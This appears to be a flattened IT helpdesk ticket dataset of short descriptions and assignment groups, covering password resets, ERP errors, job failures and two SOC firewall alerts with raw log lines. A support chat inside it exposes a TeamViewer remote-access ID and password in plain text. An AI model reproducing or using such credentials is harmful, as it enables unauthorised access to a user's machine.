, is assigned to Assignment group: GRP\_34.Ticket with Short description: collaboration\_platform issue, Description: collaboration\_platform issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for bmhxwvys.tdmgolwn@gmail.com, Description: \_x000D\_
\_x000D\_
from: nwfodmhc exurcwkm \_x000D\_
sent: monday, august 22, 2016 3:21 pm\_x000D\_
to: bmhxwvys tdmgolwn\_x000D\_
cc: tiyhum kuyiomar\_x000D\_
subject: re: sabrthy request to reset microsoft online services password for bmhxwvys.tdmgolwn@gmail.com\_x000D\_
\_x000D\_
hi suhrhtyju,\_x000D\_
\_x000D\_
please reset your password in \_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype calls not working, Description: \_x000D\_
\_x000D\_
received from: pyrtfdxu.nxfkqmoy@gmail.com\_x000D\_
\_x000D\_
i can't make a skype call through my pc. i can't hear them and they can't hear me.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: logon missing in erp, Description: name:mitctdrh whaley
language:
browser:microsoft internet explorer
email:trhuymvb.egpcwrkj@gmail.com
customer number:
telephone:
summary:erp issue, cant login! login not available, is assigned to Assignment group: GRP\_0.Ticket with Short description: symantec software message, Description: \_x000D\_
\_x000D\_
received from: doxmlcpr.xjheyscu@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
please see attached symantec message i keep getting every time a switch my lap top on.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to boot system to windows, Description: unable to boot system to windows, is assigned to Assignment group: GRP\_0.Ticket with Short description: netweaver password is not working., Description: netweaver password is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: bluetooth mouse is not working., Description: bluetooth mouse is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login past see, Description: unable to login past see, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( dsw incident no ) : suspicious ms-rpc/ms-ds/netbios activity - HostName\_1089, Description: ========================
incident overview
=========================
we have detected at least 114 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName\_1089/41.53.25.402 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:
1. an infection on this host
2. a misconfigured firewall
3. a misconfigured host
4. port scan (authorized or unauthorized)
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at .
1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))
2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)
sincerely,
secureworks soc
=========================
technical details
=========================
historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:
-w32.blaster.worm/msblast/lovsan
-w32.welchia/nachi
-w32.reatle
port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service
port 137 - netbios netbios name service
port 138 - netbios netbios datagramdnty service
port 139 - netbios netbios session service
port 445 - microsoft-ds smb file sharing
additional information on these ports and best practices can be found at the following sites:
=========================
references
=========================
=========================
event data
=========================
related events:
event id: 307897058
event summary: internal outbreak for 135/tcp
occurrence count: 114
event count: 1
host and connection information
source ip: 41.53.25.402
source hostname: HostName\_1089
source port: 57257
destination hostname: apusm014
destination port: 135
connection directionality: internal
protocol: tcp
device information
device ip: 18.79.63.203
device name: company-internal-asa.company.com-1
log time: 2016-08-21 at 00:15:40 utc
action: blocked
cvss score: -1
scwx event processing information
sherlock rule id (sle): 537074
inspector rule id: 186739
inspector event id: 042405443
ontology id: 200020003203009144
event type id: 200020003203009044
agent id: 103611
event detail:
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57257 to 10.44.23.31/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57258 to 12.41.82.8126/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57418 to 14.63.28.418/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57427 to 47.92.04.2434/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57421 to 28.04.06.289/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57477 to 45.34.25.3417/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57478 to 51.25.46.284/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57260 to 10.16.14.113/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57259 to 70.87.83.79245/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57261 to 37.10.37.1764/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57262 to 72.37.71.786/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57263 to 10.16.114.16/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57264 to 54.72.31.824/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57265 to 96.78.23.4576/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57442 to 93.47.24.501/135 flags syn on interface inside
aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57447 to 63.96.56.492/135 flags syn on interface inside, is assigned to Assignment group: GRP\_12.Ticket with Short description: downgrade to ie10, Description: downgrade to ie10, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: warehouse\_tool quality issues when high link utlization at usa, Description: warehouse\_tool quality issues when high link utilization at usa, , is assigned to Assignment group: GRP\_4.Ticket with Short description: account locked out, Description: account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // gso, Description: blank call // gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to wifi, Description: unable to connect to wifi, is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor orientation error, Description: monitor orientation error, is assigned to Assignment group: GRP\_0.Ticket with Short description: company owned iphone stolen, Description: company owned iphone stolen, is assigned to Assignment group: GRP\_0.Ticket with Short description: microsoft password reset , Description: microsoft password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: qlhmawgi sgwipoxn password not working, Description: name:inhekdol anvqzdif
language:
browser:microsoft internet explorer
email:inhekdol.anvqzdif@gmail.com
customer number:
telephone:x2231
summary:please call aerp. spengineering toolometer computer is down. no foundry posrt floor samples can be analyzed. will have to shut down posrting floor. critical!, is assigned to Assignment group: GRP\_0.Ticket with Short description: please get some ramdnty for me. , Description: please get some ramdnty for me. , is assigned to Assignment group: GRP\_3.Ticket with Short description: etime is not working, Description: etime is not working, is assigned to Assignment group: GRP\_3.Ticket with Short description: please check josh's % in the phones, Description: please check josh's % in the phones, is assigned to Assignment group: GRP\_3.Ticket with Short description: setup access for ethics, Description: setup access for ethics, is assigned to Assignment group: GRP\_0.Ticket with Short description: server migration germany - we are not able to access any files in folder ce\_cs at the new server, Description: server migration germany - we are not able to access any files in folder ce\_cs at the new server, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33669678 ) : possible tor activity - source: android-802d0edc4e509a9, Description: source ip: 93.115.241.50
source hostname: 93.115.241.50.ch-center.com.
destination ip: 10.16.85.116
destination hostname: android-802d0edc4e509a9
system name :
user name:pethrywr sahl(sghtyhlp)
location : koenigsee
sep , sms status : no updates
field sales user ( yes / no) : no
dsw event log:see below
----------------------------------------------------------------------------------------
=========================
event data
=========================
related events:
event id: 307636804
event summary: denied icmp trafficdenied icmp type=3, code=3
occurrence count: 4
event count: 1
host and connection information
source ip: 209.126.230.71
source hostname: internetsurvey-2.erratasec.com.
source ip geolocation: atlanta, usa
connection directionality: incoming
protocol: icmp
device information
device ip: 18.79.63.203
device name: company-internal-asa.company.com-1
log time: 2016-08-20 at 00:21:56 utc
action: blocked
cvss score: -1
scwx event processing information
sherlock rule id (sle): 756571
inspector event id: 041814438
ontology id: 200020003203009212
event type id: 200020003203009112
agent id: 103611
event detail:
aug 20 00:21:56 18.79.63.203 %asa-3-313001: denied icmp type=3, code=3 from 209.126.230.71 on interface outside, is assigned to Assignment group: GRP\_2.Ticket with Short description: server migration germany; contactperson: cioehrnq wfyhgelz <cioehrnq.wfyhgelz@gmail.com>, Description: no access to data on the server! can't proceed customer orders!, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp won't allow me to create an attachment to customer account, Description: when trying to attach tax exemption forms to the customer account in erp, i am not able to access the network drive they are stored on and am receiving an error message. i have attached the message to this incident. i am trying to access the "m" drive. , is assigned to Assignment group: GRP\_0.Ticket with Short description: user has questions on the use of password\_management\_tool password manager., Description: user has questions on the use of password\_management\_tool password manager., is assigned to Assignment group: GRP\_0.Ticket with Short description: everytime i click something in erp i hear an annoying clcking sound.also when i try to access a document , Description: at the header i get this pop up erp gui security that says the system is trying to create the file\_x000D\_
\_x000D\_
c:\erp\erp gui\35683166confirmationofhpcpo#113568\_20160822132958.453\_x.msg\_x000D\_
\_x000D\_
in the directory\_x000D\_
\_x000D\_
c:\erp\erp gui\\_x000D\_
\_x000D\_
do you want to usa the permission to modify the parent directory and all its subdirectories?\_x000D\_
\_x000D\_
and gives me a choice of allow, deny or help \_x000D\_
\_x000D\_
i cannot open the attachment\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: replacing current laptop, Description: thomklmas is replacing current laptop., is assigned to Assignment group: GRP\_3.Ticket with Short description: will not come up, Description: not showixepyfbga wtqdyoin drive at all, is assigned to Assignment group: GRP\_3.Ticket with Short description: my email isn't updating in the morning, Description: \_x000D\_
\_x000D\_
received from: pjxclyhs.fcniljtu@gmail.com\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_852749, Description: ticket update on inplant\_852749, is assigned to Assignment group: GRP\_0.Ticket with Short description: password problem, Description: hello,\_x000D\_
\_x000D\_
my password is locked when i log in company network. i have to sign in , is assigned to Assignment group: GRP\_0.Ticket with Short description: audio not working, Description: audio not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp blank screen, Description: erp blank screen, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to start the computer. its showing startup repair., Description: unable to start the computer. its showing startup repair., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/22/2016 08:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/22/2016 08:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: reset passwords for horeduca ogrhivnm using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: erp SID\_34 password reset (requested by ughzilfm cfibdamq), Description: erp SID\_34 password reset (requested by ughzilfm cfibdamq), is assigned to Assignment group: GRP\_0.Ticket with Short description: i am trying to open a file attached to a crm and the extension is .rar i cannot open this file, Description: the is a file attached to a crm i am trying to work on and it has .rar as the extension. i cannot open this file and i do not know what a .rar file is., is assigned to Assignment group: GRP\_3.Ticket with Short description: read and write access for m drive folder, Description:
received from: nrbgctwm.kfwdhrmt@gmail.com
hi,
please provide read and write access of following folders in m drive
m:\pu5 coating data base\database\production data day wise
m:\pu5 coating data base\database\production data month wise
m:\pu5 coating data base\database\pu5 production database
computer name and user id details are as per the below list
slno
system number
user i.d
access
read
write
1
awyw8911478
awysinic2
[cid:image001.png@01d1fca0.50f1dd10]
[cid:image001.png@01d1fca0.50f1dd10]
sbfhydeep kurtyar
pu5 coating and grinding operations
nrbgctwm.kfwdhrmt@gmail.com<mailto:nrbgctwm.kfwdhrmt@gmail.com>
, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to outlook , Description: unable to outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for mfvkxghn mzjasxqd on other / SID\_1 in erp, Description: i need my password set for the quality assurance area SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte einen arbeitszeitplan erstellen fÃ¼r die mitarbeiterin rnibmcve xukajlvg, pers.-nr. 58938, Description: bitte einen arbeitszeitplan erstellen fÃ¼r die mitarbeiterin rnibmcve xukajlvg, pers.-nr. 58678938:
sollarbeitszeit/woche: 17,5 stunden
arbeitstage: dienstag, donnerstag, samstag
start: 13.09.2016, is assigned to Assignment group: GRP\_52.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0428491, Description: ticket update on ticket\_no0428491, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_746w failed in job\_scheduler at: 08/22/2016 08:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_746w failed in job\_scheduler at: 08/22/2016 08:08:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: skype -disconnecting of skype calls- more then 5 times in 5 minutes from koenigsee to germany during a conference call, Description: skype - disconnecting of skype calls - more then 5 times in 5 minutes from koenigsee to germany during a conference call\_x000D\_
also internetconnection is very slow, is assigned to Assignment group: GRP\_0.Ticket with Short description: account getting locked each monday, Description: account getting locked each monday, is assigned to Assignment group: GRP\_0.Ticket with Short description: atualizaÃ§Ã£o programdntya ted, Description: preciso entregar as declaraÃ§Ãµes e o programdntya ted nÃ£o estÃ¡ funcionando., is assigned to Assignment group: GRP\_62.Ticket with Short description: vip 2 symantec login does not synch passwords through hitacni password system; how to update & synch symantec password?, Description: vip 2 symantec login does not synch passwords through hitacni password system; how to update & synch symantec password?, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/22/2016 07:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/22/2016 07:48:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: zugriffsrechte auf den ordner ce-teamleiter, Description: freigabe durch hr. grergtger, is assigned to Assignment group: GRP\_0.Ticket with Short description: set back document , Description: t: +49
please set back this document to status 01.06.2016
m:\dispo\avfertigungszeiten\arbeitsplaner-arbeitssteuerer\te-beschichtung\te-fÃ¼r schneidplatten\te - sk-pvd beschichten auf metaplasanlage .xls
, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to login to erp, Description: SID\_34 - erp production account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/22/2016 07:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/22/2016 07:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset password for erp - vvkthyiska account blocked, Description:
received from: krutjqwp.qomksnhd@gmail.com
hello team,
could you please reset my password for the erp, user vvkthyiska, by mistake i blocked my account, i entered 3 times the wrong password.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: help with excel that updates from crm, Description:
received from: eqwaiphc.qxwfeuth@gmail.com
could you please advise what steps i should take to allow the attached spreadsheet to refresh data from crm? below is the error message that i get when i open and enable content.
[cid:image001.jpg@01d1fc45.6ce205f0]
mictbdhryhle w. burnhntyham
regional key account manager â€“ msc east coast
eqwaiphc.qxwfeuth@gmail.com<mailto:eqwaiphc.qxwfeuth@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: missing archive email, Description: \_x000D\_
\_x000D\_
received from: rcbdyslq.zuspjbtw@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i don't have archive emails. the lauacyltoe hxgaycze i can found is from 2014 and i should be able to see emails from 2012.\_x000D\_
my local pc support ojrplsmx wslifbzc already checked it and he can't find it as well.\_x000D\_
\_x000D\_
i urgently need emails from 2013!\_x000D\_
please advise\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/22/2016 07:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/22/2016 07:14:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: misplaced password, Description: password misplaced, is assigned to Assignment group: GRP\_0.Ticket with Short description: edi bestellungen der ksb ag, Description: sehr geehrte damen und herren,\_x000D\_
\_x000D\_
kÃ¶nnen sie mich bitte zu den edi bestellungen der ksb ag kurz anrufen?\_x000D\_
\_x000D\_
\_x000D\_
freundliche grÃ¼ÃŸe / kind , is assigned to Assignment group: GRP\_32.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description: \_x000D\_
\_x000D\_
received from: urvitans.laqdwvgo@gmail.com\_x000D\_
\_x000D\_
hi can we run the deployment once for the german language for the former germany location.\_x000D\_
for the following targets\_x000D\_
\_x000D\_
efdl8111324\_x000D\_
efdl8111336\_x000D\_
efdw8111224\_x000D\_
efdw8111372\_x000D\_
efdl8111328\_x000D\_
efdl8111169\_x000D\_
edfl8111329\_x000D\_
edfl8111361\_x000D\_
edfw8111363\_x000D\_
edfl8111326\_x000D\_
edfw8111143\_x000D\_
edfw8111360\_x000D\_
edfw8111133\_x000D\_
edfl8111320\_x000D\_
efdw8111134\_x000D\_
\_x000D\_
please let me know when we can plan this.\_x000D\_
\_x000D\_
as the location is just moved this weekend we can't do it manually right now.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password - karnos, Description: \_x000D\_
\_x000D\_
received from: zrpemyab.xvzwcbha@gmail.com\_x000D\_
\_x000D\_
dear it team,\_x000D\_
\_x000D\_
please help reset password for user : karnos\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: i'm no more able to find a folder in outlook., Description: ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
all agents are busy assisting other customers.\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
gxuvbcpr libcktnm\_x000D\_
hello\_x000D\_
dwfiykeo argtxmvcumar3\_x000D\_
hello\_x000D\_
gxuvbcpr libcktnm\_x000D\_
i'm sorry to disturb you for such an issue but i'm no more able to find a folder in my outlook\_x000D\_
i don't think i deleted it but i can't see it anymore\_x000D\_
dwfiykeo argtxmvcumar3\_x000D\_
can i have access to your system, please ?\_x000D\_
\_x000D\_
gxuvbcpr libcktnm\_x000D\_
sure. what way?\_x000D\_
teamviewer or skype?\_x000D\_
dwfiykeo argtxmvcumar3\_x000D\_
team viewer , please \_x000D\_
gxuvbcpr libcktnm\_x000D\_
id: 924881243\_x000D\_
pw: 6749\_x000D\_
gxuvbcpr libcktnm\_x000D\_
hello,\_x000D\_
gxuvbcpr libcktnm\_x000D\_
the folder i can't find anymore is named "transportation markhtyet" and it was just below "transportation" on\_x000D\_
one\_x000D\_
dwfiykeo argtxmvcumar3\_x000D\_
he\_x000D\_
ic\_x000D\_
website visitor has left the conversation\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: delete the charm- 7000006672, Description: delete the charm 8111117783 as the configuration is done already and it was issue in the bex report. , is assigned to Assignment group: GRP\_38.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/22/2016 06:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/22/2016 06:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to login to citrix, Description: unable to login to citrix, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit login \ypladjeu wzfryxav, Description: probleme mit login \ypladjeu wzfryxav, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit outlook \dtlmbcrx mwuateyx, Description: probleme mit outlook \dtlmbcrx mwuateyx, is assigned to Assignment group: GRP\_24.Ticket with Short description: drucker funktioniert nicht \puxsvfwr cwkjruni, Description: drucker funktioniert nicht \puxsvfwr cwkjruni, is assigned to Assignment group: GRP\_24.Ticket with Short description: confirmations in bls (beschichtungsleitstand) not transfered to EU\_tool, Description: location: germany, coating department cvd\_x000D\_
\_x000D\_
example: batch 16721 (it happens regularly)\_x000D\_
\_x000D\_
every order of 16721 miss the confirmation packing fhurakgsl mldufqov in EU\_tool (german: packen zum beschichten) however it was confirmed in bls. usually confirmations done in bls are transfered automatically into EU\_tool. production planner need to close these gaps now by manually confirming missing process steps. the incident has also impact on our performance indicators, as time for packing is not credited in the system. \_x000D\_
\_x000D\_
batch 16721 is a current example. the issue arised already in the past. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: unable to open the order confirmation from the erp, Description: \_x000D\_
\_x000D\_
received from: rslvwpnh.emkfpqiy@gmail.com\_x000D\_
\_x000D\_
please find the snap shot of the screen.\_x000D\_
\_x000D\_
am unable to open the url : \_x000D\_
\_x000D\_
[cid:image001.jpg@01d1fc86.94db1ce0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: system disk of server HostName\_698 is full , Description: \_x000D\_
\_x000D\_
received from: fbyusmxz.kxvmcbly@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
system disk c: of server HostName\_698 is full â€“ please check.\_x000D\_
it is the virtual center server.\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: persÃ¶nliches laufwerk "adelhmk" nicht mehr verfÃ¼gbar nach servermigration, Description: bitte scghhnellstmÃ¶glich persÃ¶nliches laufwerk "adelhmk" wiederherstellen. \_x000D\_
\_x000D\_
personal drive "adelhmk" unavailable after server migration, is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/22/2016 04:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/22/2016 04:51:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: crm problems, Description: \_x000D\_
\_x000D\_
received from: rugdyxqh.aqvocmuy@gmail.com\_x000D\_
\_x000D\_
good day all\_x000D\_
\_x000D\_
i am having problems with crm the system does not open and does not prompt for a password\_x000D\_
seemor current month outlook does not appear on the screen\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: when i double click on a production order in erp 11 reporting under md04 the distribution icon does not come up , Description: i have no where to insert an amount to allow me to ship. i can be reached at , is assigned to Assignment group: GRP\_45.Ticket with Short description: drucker findet scan-adresse nicht, Description: \_x000D\_
\_x000D\_
received from: fdqjsygx.aivdjqtr@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
beim scannen findet der drucker em 96 die voreingestellte adresse nicht.\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_12.Ticket with Short description: 5 pos cannot be posed in miro as the same message, Description: the attachements are each of the 5 pos error message shown in miro. they cannot be posed in erp for same problem. please help settle them. , is assigned to Assignment group: GRP\_10.Ticket with Short description: sound issue, Description: sound not working , is assigned to Assignment group: GRP\_19.Ticket with Short description: engineering\_tool advance search-issue, Description:
received from: sihtvocw.yspnqxgw@gmail.com
hello
we ran report with sales person name as atuldhy gurpthy. however we got below reports which are not matching to the user searched. kindly check:
[cid:image001.jpg@01d1fc7a.7d98a360]
[cid:image002.jpg@01d1fc7a.7d98a360]
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: telephony\_software input issue-- enter one number or letter output double when reply email in new telephony\_software software, Description: since telephony\_software software upgrading , if input a number or letter , it get double .the show is two duplicate numbers .for example, i enter "3014377", shows as "22990033226666" .pls find attachment for printerscreen.please help to solve as soon as possible, is assigned to Assignment group: GRP\_7.Ticket with Short description: Ã¶ffnen von exel\_anhÃ¤ngen ( 0043 664 4688892), Description: \_x000D\_
\_x000D\_
received from: soldfnbq.uhnbsvqd@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
ich kann keinen exel-anhang Ã¶ffnen, auch nicht wenn ich diesen speicher und dann Ã¶ffne.\_x000D\_
[cid:image001.png@01d1fc59.bf242140]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen/ best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp and network access limitation, Description:
received from: pzybmcqd.fxtemlyg@gmail.com
hello it,
various of our users are linked to the network but cannot log into erp or get onto the local network drive to access the files.
do to however are linked on the network (they can use internet explorer ).
like users: andthyerh
cvdebrc
vvmathkag
i with username: vanthyrdys can access every system without any issues
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 08/22/2016 03:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 08/22/2016 03:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: kpm not working, Description: hours punched on task are not visible in kpm, is assigned to Assignment group: GRP\_25.Ticket with Short description: ebhsm004: e:/ is now 91% utilized., Description: e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over \_x000D\_
85% space consumed. space available: 4.4 g, is assigned to Assignment group: GRP\_8.Ticket with Short description: rqxsm004 : f:/ is now 96% utilized., Description: f:\ label:dat2-rqxsm004 dc86ed35 on server: rqxsm004 is over \_x000D\_
85% space consumed. space available: 2.8 g, is assigned to Assignment group: GRP\_1.Ticket with Short description: HostName\_30 : g:\ label:wsp e26ca13a is now 96% utilized., Description: g:\ label:wsp e26ca13a on server: HostName\_30 is over \_x000D\_
85% space consumed. space available: 4.2 g, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset passwords for wvdxnkhf jirecvta using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: job Job\_403 failed in job\_scheduler at: 08/22/2016 03:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_403 failed in job\_scheduler at: 08/22/2016 03:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: setup new laptop fÃ¼r roboworker \qidgvtwa qvbutayx, Description: setup new laptop fÃ¼r roboworker \qidgvtwa qvbutayx, is assigned to Assignment group: GRP\_24.Ticket with Short description: bad printing quality at rn33, Description:
received from: yfmaqovp.wdonhbez@gmail.com
hello,
we use our printer rn33 (germany fm) for printing of production papers and drawings in one step.
at the moment we have a very bad quality on the drawings and production papers.
we changed the toner. the toner is the original hp same as the printer.
our it (tewgersy tgryudf) checked the printer also. regarding his checking the printer works correct.
we did uacyltoe hxgaycze print from word -> good quality.
uacyltoe hxgaycze print form erp -> bad quality.
regarding his suggestions should we check the print paramdntyeters of erp.
could you recheck this please?
was there a change?
, is assigned to Assignment group: GRP\_33.Ticket with Short description: setup new ws \sqlmtixr urhbvfgd, Description: setup new ws \sqlmtixr urhbvfgd, is assigned to Assignment group: GRP\_24.Ticket with Short description: awysv004 esxi host down, Description: \_x000D\_
c:\users\virakv>ping awysv004\_x000D\_
\_x000D\_
pinging awysv004.company.com [10.38.20.34] with 32 bytes of data:\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
request timed out.\_x000D\_
\_x000D\_
ping statistics for 10.38.20.34:\_x000D\_
packets: sent = 4, received = 0, lost = 4 (100% loss),\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: mb5b download, Description: \_x000D\_
\_x000D\_
received from: azovgeck.zuwnxdbt@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i had construct with mb5b in erp a layout (display options) with the name "mb5b richthammer". since today i canÂ´t choose this layout anymore. only one layout i could collect, but itÂ´s not one i had created.\_x000D\_
\_x000D\_
[cid:image004.jpg@01d1fc51.adaef550]\_x000D\_
\_x000D\_
the layout should look like this:\_x000D\_
[cid:image010.jpg@01d1fc4a.3f592000]\_x000D\_
\_x000D\_
but at the moment it look like this:\_x000D\_
[cid:image012.jpg@01d1fc4a.3f592000]\_x000D\_
\_x000D\_
can you please help me to get the layout â€žmb5b richthammer" back?\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_1390 failed in job\_scheduler at: 08/22/2016 02:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
